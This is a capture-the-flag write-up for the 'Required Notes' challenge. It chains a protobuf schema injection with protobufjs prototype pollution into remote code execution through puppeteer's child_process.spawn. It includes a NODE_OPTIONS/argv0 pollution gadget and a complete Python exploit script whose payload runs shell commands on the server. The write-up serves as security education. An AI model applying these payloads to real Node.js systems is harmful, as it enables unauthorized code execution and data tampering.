# Required Notes
> Every CTF requires at least one overly complicated notes app.
> Author: Z_Pacifist
> 18th solve - r2uwu2 @ PBR | UCLA
## Initial Glee
When I first took a look at this challenge with my teammate Benson Liu (the bizzler), we thought we found the vulnerability.


However, the glee was short-lived.

The admin does not visit a page we control and also javascript is disabled so a leak is fairly hard.
## Analysis
### Protobuf Schema Injection
After staring at the application really hard, we found the below endpoint that customises whether `author` and `title` fields are required or optional for the `/create` endpoint.
```js=88
app.post("/customise", (req, res) => {
try {
const { data } = req.body;
const author = data.pop()["author"];
const title = data.pop()["title"];
const protoContents = fs.readFileSync("./settings.proto", "utf-8").split(
"\n",
);
if (author) {
protoContents[5] = ` ${author} string author = 3 [default="user"];`;
}
if (title) {
protoContents[3] = ` ${title} string title = 1 [default="user"];`;
}
fs.writeFileSync("./settings.proto", protoContents.join("\n"), "utf-8");
return res.json({ Message: "Settings changed" });
} catch (error) {
console.error(error);
res.status(500).json({ Message: "Internal server error" });
}
});
```
There is a glaring injection in this. We can effectively put whatever protobuf we want into the schema. Changing the defaults of specific fields won't really get us much though as the defaults in the protobuf schema do not affect the `/view` endpoints at all.
### Note Viewing Endpoint
The endpoint `/view/<note>` looked interesting as well:
```js=145
app.get("/view/:noteId", (req, res) => {
const noteId = req.params.noteId;
try {
let note = require.resolve(`./notes/${noteId}`);
if (!note.endsWith(".json")) {
return res.status(500).json({ Message: "Internal Server Error" });
}
const noteData = require(`./notes/${noteId}`);
for (const key in module.constructor._pathCache) {
if (key.startsWith("./notes/" + noteId)) {
// for a key starting with ./notes/Healthcheck
// if there is a path that does not end in json and we are viewing
// healthcheck, cleanserver() /* delete all items in require cache */
if (!module.constructor._pathCache[key].endsWith(noteId + ".json")) {
if (noteId === healthCheckId) {
cleanserver();
}
delete module.constructor._pathCache[key];
return res.status(500).json({ Message: "Internal Server Error" });
}
}
}
if (req.query.temp !== undefined) {
fs.unlink(`./notes/${noteId}.json`, (unlinkError) => {
if (unlinkError) {
console.error("File missing");
}
noteList = noteList.filter((value) => value != noteId);
});
}
console.log(noteData, noteData.author);
return res.render("view", { noteData });
} catch (error) {
console.log(error);
return res.status(500).json({ Message: "Internal Server Error" });
}
});
```
It does some `require` magic to cache notes. There are also some special hooks that run if we view `healthcheck` note. I'm not really sure how to exploit any of this though and I did not end up exploiting this particular endpoint in my final solution
## Prototype Pollution
After not really finding too much interesting vulnerabilities other than the protobuf injection, I looked further into the protobuf injection. If we are parsing something from a protobuf, there is a chance that somewhere in the code, it sets arbitrary keys on objects to values controlled by us which would be a prototype pollution vulnerability.
I did some googling and found that [protobufjs v7.2.3](https://github.com/advisories/GHSA-h755-8qp9-cq85) is vulnerable to a prototype pollution (disclosed only a few months ago).
I read the [blog post](https://www.code-intelligence.com/blog/cve-protobufjs-prototype-pollution-cve-2023-36665) detailing the exploit and found below example:
```javascript
const protobuf = require("protobufjs");
protobuf.parse('option(a).constructor.prototype.verified = true;');
console.log({}.verified);
// returns true
```
> Side Note: I found it amazing how this vulnerabilty was discovered. Apparently, the vulnerability researchers created [jazzer](https://www.code-intelligence.com/blog/jazzer-js) to fuzz javascript. I did not know that javascript could be fuzzed and I just found it cool lol.
> Side Note 2: I love how in the [GitHub advisory](https://github.com/advisories/GHSA-h755-8qp9-cq85), they repeatedly mention "This is not related to [CVE-2022-25878](https://github.com/advisories/GHSA-g954-5hwp-pp24)" as protobufjs had a different PP vuln a year before.
I ran it in my console and verified that it worked.
Sine we can override properties on objects, I decided to try to override `author` on `healthcheck.json` as `healthcheck.json` omits `author` field.
```javascript
fs.writeFileSync(
`./notes/${healthCheckId}.json`,
'{"title":"Healthcheck","content":"success"}',
);
```
I injected below protobuf before `optional` and tried visiting `/view/healthcheck`
```protobuf
option(a).constructor.prototype.author = "<h1>owo</h1>";
```

Aww, it looks like `author` is escaped.
```html
<h1>Note Details</h1>
<% if (noteData.title) { %>
<h2><%= noteData.title %></h2>
<% } %>
<% if (noteData.author) { %>
<p>Author: <%= noteData.author %></p>
<% } %>
<p><%- noteData.content %></p>
```
The only field in the template that is not escaped is `content`. However, `healthcheck.json` already has `content` defined so a prototype pollution will have no effect.
We need something else for our prototype pollution.
### Gaining RCE
I searched online for how to turn prototype pollution into an RCE in expressjs as I knew that there was some expressjs prototype pollution vulnerability a while ago so the area is well-explored. I found [a hacktricks page](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md#pp2rce-vuln-child_process-functions) dedicated to the topic.
I'll skip over the other `child_process` functions as we can't use them, but it is possible to achieve arbitrary RCE if we can prototype pollute `Object` and `spawn is called`.
```javascript
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
```
> -- from hacktricks
Let's break this down: what's happening is that somewhere in `spawn`, there is a check for whether certain configuration options were passed in and if they were not, it will fall back to our polluted values.
When we run `spawn('something')`, `spawn` is internally using a shell to run a shell command `something`. By setting `shell` to `/proc/self/exe` (current executable), we are setting the shell to be `node`. Now, we cannot really control the arguments to node as those are fixed to `something` and the `argv` passed in during calls.
This is where `NODE_OPTIONS` comes in. `NODE_OPTIONS` allows us to pass in commandline arguments to `node` but in the environment. `NODE_OPTIONS` doe not let us use `--eval`, but it does let us use `--require` to load in an arbitrary library. By requiring `/proc/self/cmdline`, we can execute current argv. Now, we just have to pollute `argv0` and we can get arbitrary code execution.
### Adapting To Required-Notes
I tested out the hacktricks exploit locally, but it didn't work as there seems to have been a "kEmptyObject fix" whatever that is. However, just like the comment mentions, if we provide argv and options to spawn, it does work.
In `required-notes`, puppeteer should be using `child_process` as it needs to spawn a chrome browser. Indeed, looking at [puppeteer source](https://github.com/puppeteer/puppeteer/blob/eb2c33485ec473e085c6b76b45554758764349d6/packages/browsers/src/launch.ts#L189), we see that `spawn` is being called (luckily for us, with arguments).
```javascript=189
this.#browserProcess = childProcess.spawn(
this.#executablePath,
this.#args,
{
detached: opts.detached,
env,
stdio,
}
);
```
This means that if we can pollute `shell`, `argv0`, and `NODE_OPTIONS`, we can achieve an RCE when the admin bot is spawned.
I tried prototype polluting all the values in a single update to the protobuf schema, but only the first prototype pollution worked. However, modfiying the code to pollute one value at a time allowed me to pollute all the variables.
## Final Exploit
I developed a `pollute.py` to execute the prototype pollutions:
```python=
import requests
base = "https://ch15457140079.ch.eng.run"
url = lambda end: f"{base}{end}"
proto_overrides = """
option(a).constructor.prototype.author = "<h1>owo</h1>";
option(a).constructor.prototype.shell = "/proc/self/exe";
option(a).constructor.prototype.argv0 = "console.log(require('child_process').execSync('rm /app/notes/Healthcheck.json && cp /app/notes/* /app/notes/owo.json').toString())//";
option(a).constructor.prototype.NODE_OPTIONS = "--require /proc/self/cmdline";
""".strip().split("\n")
for proto_override in proto_overrides:
r = requests.post(url("/customise"), json=dict(data=[
{ "title": "optional" },
{ "author": f'''{proto_override}; optional'''.strip() }
]))
print(r)
r = requests.post(url("/create"), json={"owo": "uwu"})
print(r)
```
After polluting the mentioned variables, I visited `/healthcheck`

Then, I visited `/view/owo` and captured the flag!

`bi0sctf{/oKP/DRGI9ZzPZDW093DXQ==}`
> PS: I'm not sure what that b64 decodes to as it failed when I ran it through `base64 -d`, if anyone knows, please dm me at `r2uwu2` on discord/instagram.